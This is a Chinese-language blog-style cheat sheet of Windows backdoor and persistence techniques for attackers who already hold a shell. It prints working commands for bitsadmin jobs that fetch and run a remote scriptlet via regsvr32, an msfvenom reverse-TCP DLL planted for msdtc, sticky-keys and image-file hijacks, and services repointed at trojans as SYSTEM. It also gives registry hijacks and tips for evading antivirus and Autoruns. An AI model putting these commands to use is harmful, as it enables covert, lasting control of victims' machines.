暫時總結一些關於Windows權限維持的資料,把常用的權限維持方法記錄於此;遠不止這些,慢慢積累~
0x01 Empire persistence模塊
Empire是一款功能非常強大的后滲透攻擊框架。其中的persistence模塊提供了一系列權限維持方法:工具還把權限維持分為了四大類,userland(普通權限)、elevated(需要高權限)、powerbreach(內存權限維持,重啟后失效)、miscellaneous(其它)。
0x02 WMI后門
WMI是微軟基於Web的企業管理(WBEM)的實現版本,這是一項行業計划,旨在開發用於訪問企業環境中管理信息的標准技術。主要與Powershell命令配合使用可以實現無文件攻擊重要方式,具有良好的隱蔽性也是目前較為常用的持久化手段。
關鍵實現的代碼如下:
WMI對象主要是執行一個WQL(WMI Query Language)的查詢后,本地調用Powershell執行響應的代碼由於沒有文件保存在本地磁盤能夠較好的免查殺。
在流行的powersploit與nishang框架里面也有相關的ps1文件,在empire中有相應的module:
powershell/persistence/elevated/wmi
0x03 WinRM服務后門
此服務的后門連接是需要目標服務器的高權用戶的明文密碼的,需要先抓取相應的明文密碼才可部署后門
參考鏈接:https://www.cnblogs.com/-mo-/p/12019314.html
0x04 進程注入
准確來說進程注入不是后門技術或者權限維持技術,而是一種隱藏技術,這里簡單說一下:
#meterpreter
migrate
#cobaltstrike
inject
#empire
psinject
一般可以注入到像是 lsass 或者 explorer 這樣的進程當中,相對比較隱蔽,較難排查。
0x05 組件劫持
5.1 COM劫持
主要通過修改 CLSID 下的注冊表鍵值,實現對 CAccPropServicesClass 和 MMDeviceEnumerator 劫持,而系統很多正常程序啟動時需要調用這兩個實例,所以,這就可以用作后門來使用,並且,該方法也能夠繞過 Autoruns 對啟動項的檢測。
Powershell 版本的 poc :https://github.com/3gstudent/COM-Object-hijacking
5.2 MruPidlList劫持
在注冊表位置為 HKCU\Software\Classes\CLSID\ 下創建項 {42aedc87-2188-41fd-b9a3-0c966feabec1} ,再創建一個子項 InprocServer32 ,默認的鍵值為我們的 dll 路徑,再創建一個鍵 ThreadingModel ,其鍵值: Apartment
該注冊表對應 COM 對象 MruPidlList ,作用於 shell32.dll ,而 shell32.dll 是 Windows 的32位外殼動態鏈接庫文件,用於打開網頁和文件,建立文件時的默認文件名的設置等大量功能。其中 explorer.exe 會調用 shell32.dll ,然后會加載COM對象 MruPidlList ,從而觸發我們的 dll 文件
5.3 CLR 劫持
CLR(公共語言運行庫,Common Language Runtime)和Java虛擬機一樣也是一個運行時環境,是一個可由多種編程語言使用的運行環境。CLR的核心功能包括:內存管理、程序集加載、安全性、異常處理和線程同步,可由面向CLR的所有語言使用。並保證應用和底層操作系統之間必要的分離。需要注意的是CLR能夠劫持系統中全部.net程序,而且系統默認會調用.net程序,從而導致我們的后門自動觸發,這是我們后門持久化的一個好的思路,下面來實現一下
修改一下注冊表,注冊表路徑: HKEY_CURRENT_USER\Software\Classes\CLSID\ ,新建子項 {11111111-1111-1111-1111-111111111111} (名字隨便,只要不與注冊表中存在的名稱沖突就行),然后再新建子項 InProcServer32 ,新建一個鍵 ThreadingModel ,鍵值為: Apartment ,默認的鍵值為我們 dll 的路徑
需要在 cmd 下設置一下,注冊為全局變量,不然只能在當前 cmd 窗口劫持 .net 程序:
SETX COR_ENABLE_PROFILING= 1 /M
SETX COR_PROFILER= {11111111-1111-1111-1111-111111111111} /M
然后在接下來的運行中,只要是存在.net的調用,后門程序就會啟動
5.4 AppInit_DLLs
User32.dll 被加載到進程時,會讀取 AppInit_DLLs 注冊表項,如果有值,調用 LoadLibrary() api 加載用戶 dll 。
其注冊表位置為:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
把 AppInit_DLLs 的鍵值設置為我們 dll 路徑,將 LoadAppInit_DLLs 設置為1:
當存在 User32.dll 調用的時候,指定的 dll 文件就會被加載
0x06 bitsadmin后門
Bitsadmin 從 win7 之后操作系統就默認包含,可以用來創建上傳或者下載任務。 Bistadmin 可以指定下載成功之后要進行什么命令。后門就是利用的下載成功之后進行命令執行。
#創建一個下載任務:
bitsadmin /create backdoor
#添加文檔:
bitsadmin /addfile backdoor c:\windows\system32\calc.exe c:\Users\qiyou\Desktop\calc.exe //為了方便起見我們直接復制本地文件
#設置下載成功之后要執行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#執行任務:
bitsadmin /Resume backdoor
重啟電腦之后任務會再一次被激活,大概幾分鍾之后我們的命令會再次執行,如果我們想讓任務完成,可以執行:
bitsadmin /complete backdoor
優點:系統自帶無需上傳
缺點:免殺效果一般
排查:bitsadmin /list /verbose
0x07 自啟動服務
自啟動服務一般是在電腦啟動后在后台加載指定的服務程序,我們可以將 exe 文件注冊為服務,也可以將 dll 文件注冊為服務
為了方便起見我們可以直接用Metasploit來注冊一個服務:
meterpreter > run metsvc -A
運行之后 msf 會在 %TMP% 目錄下創建一個隨機名稱的文件夾,然后在該文件夾里面生成三個文件:metsvc.dll、metsvc-server.exe、metsvc.exe
同時會新建一個服務,其顯示名稱為 Meterpreter ,服務名稱為 metsvc ,啟動類型為"自動",默認綁定在31337端口。
如果想刪除服務,可以執行:
meterpreter > run metsvc -r
於此同時,我們通過msf上傳上去的 exe,為了更加隱蔽,我們可以將 exe 設置為隱藏文件,利用如下命令:
#增加隱藏屬性
attrib +h service.exe
#去掉隱藏屬性
attrib -h service.exe
0x08 修改系統服務
當攻擊者拿到一台機器的shell時,可以通過修改系統上的服務,以達到持久控制。攻擊者將惡意軟件隱藏在服務執行的位置,修改該服務執行的用戶權限,達到獲取高權限 shell 的目的。
首先來了解一下 binPath , binPath 是將服務指向啟動服務時需要執行的二進制文件的位置。操作過程中,我們需要利用sc命令:
SC命令主要的幾個功能:
1.更改服務的啟動狀態(這是比較有用的一個功能),可以設置存儲在注冊表中的服務屬性,以控制如何在啟動時啟動服務應用程序,以及如何將其作為后台程序運行。即更改服務的啟動狀態。
2.刪除服務(除非對自己電腦的軟、硬件所需的服務比較清楚,否則不建議刪除任何系統服務,特別是基礎服務)。
3.停止或啟動服務(功能上類似於net stop/start,但速度更快且能停止的服務更多)。
4.SC可以檢索和設置有關服務的控制信息,可以使用SC.exe來測試和調試服務程序。
5.可以創建批處理文件來調用不同的SC命令,以自動啟動或關閉服務序列。
#說白了: SC.exe提供的功能類似於”控制面板”中”管理工具”項中的”服務”。
舉個栗子:默認情況下,Windows不會啟用傳真服務。所以,傳真服務是我們修改的理想服務,因為它不會中斷正常用戶的操作。
#將msfvenom生成的木馬文件上傳C:\123123.exe。
#修改Fax傳真服務
sc config Fax binPath= "C:\123123.exe"
sc start Fax
#創建Fax傳真服務,並設置為自啟動
sc create Fax binPath= "C:\123123.exe" start= "auto" obj= "LocalSystem"
#增加服務描述
sc descrīption Fax "利用計算機或網絡上的可用傳真資源發送和接收傳真。"
木馬文件執行上線,獲得的權限是系統服務權限。一段時間之后,會顯示服務沒有響應,從而關閉我們的惡意進程。所以 msf 在監聽時,要加上如下參數:
set autorunscript migrate -f
#獲得會話之后,直接將會話轉移到一個穩定進程,保持上線。
經過測試,重啟之后,傳真服務不會自動啟動執行,所以我們可以利用如下命令:
sc config Fax binPath= "C:\Windows\System32\123123.exe" start= "auto" obj= "LocalSystem"
#這里有一點需要注意,在填寫參數時,參數等號后面一定要加”空格”,注意這個細節!
Windows啟動期間,傳真服務自動啟用,並且執行的權限為System權限。
0x09 shift后門
9.1 輔助功能劫持
這個是比較老的方式了,這里簡單講一下,在 windows 中有一些輔助功能,能在用戶未登錄系統之前可以通過組合鍵來啟動它,類似的輔助功能有:
C:\Windows\System32\sethc.exe 粘滯鍵,啟動快捷鍵:按五次shift鍵
C:\Windows\System32\utilman.exe 設置中心,啟動快捷鍵:Windows+U鍵
cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
9.2 映像劫持
在低版本的windows中,我們可以直接把 setch.exe 替換成我們的后門程序,但是在高版本的 windows 版本中替換的文件受到了系統的保護,所以這里我們要使用另外一個知識點:映像劫持。
windows 系統上每個服務的信息都存儲在注冊表中, ImagePath 注冊表項通常包含驅動程序映像文件的路徑。使用任意可執行文件劫持此密鑰將使有效負載在服務啟動期間運行,而這種劫持就稱為映像劫持
具體操作方法如下:
在注冊表下添加一個項 sethc.exe ,然后在 sethc.exe 這個項中添加 debugger 鍵,鍵值為我們惡意程序的路徑:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
對於劫持其他服務,看以下例子,劫持W32Time服務:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v ImagePath /t REG_SZ /d "C:\321321.exe" /f
/f參數很重要,強制執行
由於此服務並非自啟動服務,想要此服務開機自啟並為高權限,我們仍需使用命令:
sc config w32time start= "auto" obj= "LocalSystem"
0x10 定時任務
windows下定時任務的命令有兩個分別是:at 和 schtasks,他們兩者主要區別是 at 命令在 win7、08 等高版本的 windows 中是不能將任務在前台執行的,也就是只會打開一個后台進程,而 schtasks 是將定時的任務在前台執行
schtasks /create /sc minute /mo 1 /tn "chrome" /tr wscript.exe C:\Users\\AppData\Local\Temp\13442980_crypted.vbs
0x11 Logon Scripts
Logon Scripts優先於 av 先執行,我們可以利用這一點來繞過 av 的敏感操作攔截
注冊表路徑為: HKEY_CURRENT_USER\Environment ,創建一個鍵為: UserInitMprLogonScript ,其鍵值為我們要啟動的程序路徑:
當用戶登錄或者重啟時,目標程序就會先行啟動
0x12 屏幕保護程序
在對方開啟屏幕保護的情況下,我們可以修改屏保程序為我們的惡意程序從而達到后門持久化的目的 其中屏幕保護的配置存儲在注冊表中
其位置為:HKEY_CURRENT_USER\Control Panel\Desktop,關鍵鍵值如下:
SCRNSAVE.EXE - 默認屏幕保護程序,我們可以把這個鍵值改為我們的惡意程序
ScreenSaveActive - 1表示屏幕保護是啟動狀態,0表示表示屏幕保護是關閉狀態
ScreenSaverTimeout - 指定屏幕保護程序啟動前系統的空閑事件,單位為秒,默認為900(15分鍾)
設置如下:
0x13 域環境下的msdtc
msdtc.exe 存在於組環境和域環境中
#生成dll木馬文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > oci.dll
#將剛才生成的 oci.dll 上傳到目標機器的 C:\Windows\System32 目錄下
$upload oci.dll C:\\Windows
$shell
C:\Windows>move oci.dll c:\Windows\System32
#使用命令關閉msdtc進程
taskkill /f /im msdtc.exe
#重啟msdtc
net start msdtc
#為了獲得system權限,可采用降權啟動,使用命令
msdtc -install
詳細內容閱讀:http://hackergu.com/power-msdtc/
0x14 waitfor
不支持自啟動,但可遠程主動激活,后台進程顯示為 waitfor.exe
優點:遠程主動激活
缺點:有 waitfor 進程
排查:通過 Process Explorer 工具查看是否有 waitfor.exe 進程,並進一步查看啟動參數等。
支持系統:
Windows Server 2003
Windows Vista
Windows XP
Windows Server 2008
Windows 7
Windows Server 2003 with SP2
Windows Server 2003 R2
Windows Server 2008 R2
Windows Server 2000
Windows Server 2012
Windows Server 2003 with SP1
Windows 8
Windows 10
其他Server系統未測試,理論上支持
詳細內容閱讀:
https://github.com/3gstudent/Waitfor-Persistence
http://www.0-sec.org/%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF/Windows%E5%90%8E%E9%97%A8/10.html
參考鏈接
http://hackergu.com/
http://www.0-sec.org
https://xz.aliyun.com/t/4842
https://www.freebuf.com/vuls/195906.html